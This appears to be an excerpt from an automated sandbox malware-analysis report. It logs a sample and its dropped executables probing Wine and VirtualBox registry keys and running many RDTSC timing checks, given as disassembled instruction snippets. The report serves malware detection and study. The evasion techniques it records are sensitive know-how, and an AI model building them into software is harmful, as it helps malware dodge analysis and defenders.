Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03A8B second address: B03A9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8AA8B7BB92h 0x0000000c ja 00007F8AA8B7BB86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03F6E second address: B03F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03F72 second address: B03F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0420E second address: B04214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04214 second address: B04218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF470E second address: AF4712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B070B3 second address: B07108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007F8AA8B7BB88h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jg 00007F8AA8B7BB9Eh 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jc 00007F8AA8B7BB96h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jl 00007F8AA8B7BB86h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07108 second address: B0711F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07175 second address: B071FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F8AA8B7BB88h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov ecx, dword ptr [ebp+122D3AB0h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F8AA8B7BB88h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 sbb edx, 3FA94F92h 0x0000004b add dword ptr [ebp+122D1DC3h], edx 0x00000051 call 00007F8AA8B7BB89h 0x00000056 pushad 0x00000057 jmp 00007F8AA8B7BB97h 0x0000005c jo 00007F8AA8B7BB8Ch 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B071FE second address: B07209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07209 second address: B0720D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B072FC second address: B07301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B073E9 second address: B07424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AA8B7BB8Dh 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F8AA8B7BB8Bh 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07424 second address: B07450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 or edi, dword ptr [ebp+122D395Ch] 0x0000000e push 00000000h 0x00000010 mov ecx, dword ptr [ebp+122D39F8h] 0x00000016 push B0C152DAh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8AA8C154CFh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07450 second address: B074C7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AA8B7BB8Ch 0x00000008 jo 00007F8AA8B7BB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 4F3EADA6h 0x00000017 jmp 00007F8AA8B7BB8Ch 0x0000001c push 00000003h 0x0000001e call 00007F8AA8B7BB94h 0x00000023 mov edx, dword ptr [ebp+122D39A4h] 0x00000029 pop edx 0x0000002a push 00000000h 0x0000002c movsx edx, ax 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F8AA8B7BB88h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b xor dword ptr [ebp+122D25EAh], esi 0x00000051 push B6E6AA02h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jnc 00007F8AA8B7BB86h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25972 second address: B2598C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8C154CFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2598C second address: B25996 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25B05 second address: B25B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25B09 second address: B25B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8B7BB92h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F8AA8B7BB86h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25B2B second address: B25B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D6h 0x00000007 jnc 00007F8AA8C154C8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F8AA8C154DFh 0x00000017 jnc 00007F8AA8C154C6h 0x0000001d jmp 00007F8AA8C154D3h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25CA6 second address: B25CAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B260EB second address: B2614F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D5h 0x00000007 jmp 00007F8AA8C154CAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 pop edi 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F8AA8C154D2h 0x0000001a jg 00007F8AA8C154C6h 0x00000020 push edi 0x00000021 pop edi 0x00000022 jo 00007F8AA8C154C6h 0x00000028 popad 0x00000029 je 00007F8AA8C154D5h 0x0000002f jmp 00007F8AA8C154CDh 0x00000034 push edx 0x00000035 pop edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26409 second address: B26435 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F8AA8B7BBA4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26435 second address: B26441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8AA8C154C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26441 second address: B26445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26445 second address: B26449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26449 second address: B26472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F8AA8B7BB86h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8AA8B7BB92h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26787 second address: B26795 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8AA8C154CEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26795 second address: B2679E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2679E second address: B267A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A77A second address: B1A77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A77E second address: B1A784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26B74 second address: B26B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26B7E second address: B26BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pushad 0x0000000f jmp 00007F8AA8C154D0h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26BA1 second address: B26BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26BA6 second address: B26BAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27360 second address: B27365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27365 second address: B2736B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2736B second address: B27375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF623B second address: AF625B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F8AA8C154C6h 0x0000000c jmp 00007F8AA8C154D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF625B second address: AF6283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8AA8B7BB94h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jp 00007F8AA8B7BB86h 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6283 second address: AF628C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF628C second address: AF6290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CAC4 second address: B2CAC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF42A second address: AEF435 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF435 second address: AEF43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF43A second address: AEF450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8B7BB92h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32444 second address: B32448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32A97 second address: B32AAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB91h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32AAE second address: B32AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32AB2 second address: B32AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32C49 second address: B32C7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8AA8C154D6h 0x0000000d push edi 0x0000000e jmp 00007F8AA8C154D1h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DB5 second address: B32DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DBB second address: B32DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32DC0 second address: B32DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F8AA8B7BB86h 0x00000009 jno 00007F8AA8B7BB86h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edx 0x00000014 jng 00007F8AA8B7BB86h 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007F8AA8B7BB86h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3379A second address: B337A4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D11 second address: B33D2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F8AA8B7BB9Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8AA8B7BB8Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33E08 second address: B33E27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33E27 second address: B33E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B347F4 second address: B34804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34804 second address: B3480E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3480E second address: B34857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F8AA8C154CEh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F8AA8C154C8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D24C3h], esi 0x00000030 xchg eax, ebx 0x00000031 push ebx 0x00000032 pushad 0x00000033 push eax 0x00000034 pop eax 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34D13 second address: B34D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B34D19 second address: B34D94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007F8AA8C154C6h 0x00000011 jo 00007F8AA8C154C6h 0x00000017 popad 0x00000018 js 00007F8AA8C154CCh 0x0000001e ja 00007F8AA8C154C6h 0x00000024 popad 0x00000025 nop 0x00000026 mov edi, dword ptr [ebp+122D3918h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F8AA8C154C8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 sub dword ptr [ebp+122D250Bh], edi 0x0000004e call 00007F8AA8C154CCh 0x00000053 jns 00007F8AA8C154C8h 0x00000059 pop edi 0x0000005a cld 0x0000005b push 00000000h 0x0000005d mov esi, dword ptr [ebp+122D3944h] 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 push esi 0x00000068 pop esi 0x00000069 push edi 0x0000006a pop edi 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35615 second address: B35619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B35619 second address: B3561F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3561F second address: B3567B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8AA8B7BB93h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e sub dword ptr [ebp+12467E35h], edx 0x00000014 push 00000000h 0x00000016 mov esi, dword ptr [ebp+122D3978h] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F8AA8B7BB88h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 jp 00007F8AA8B7BB8Eh 0x0000003e push eax 0x0000003f mov dword ptr [ebp+122D2978h], edx 0x00000045 pop edi 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B370C3 second address: B370C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
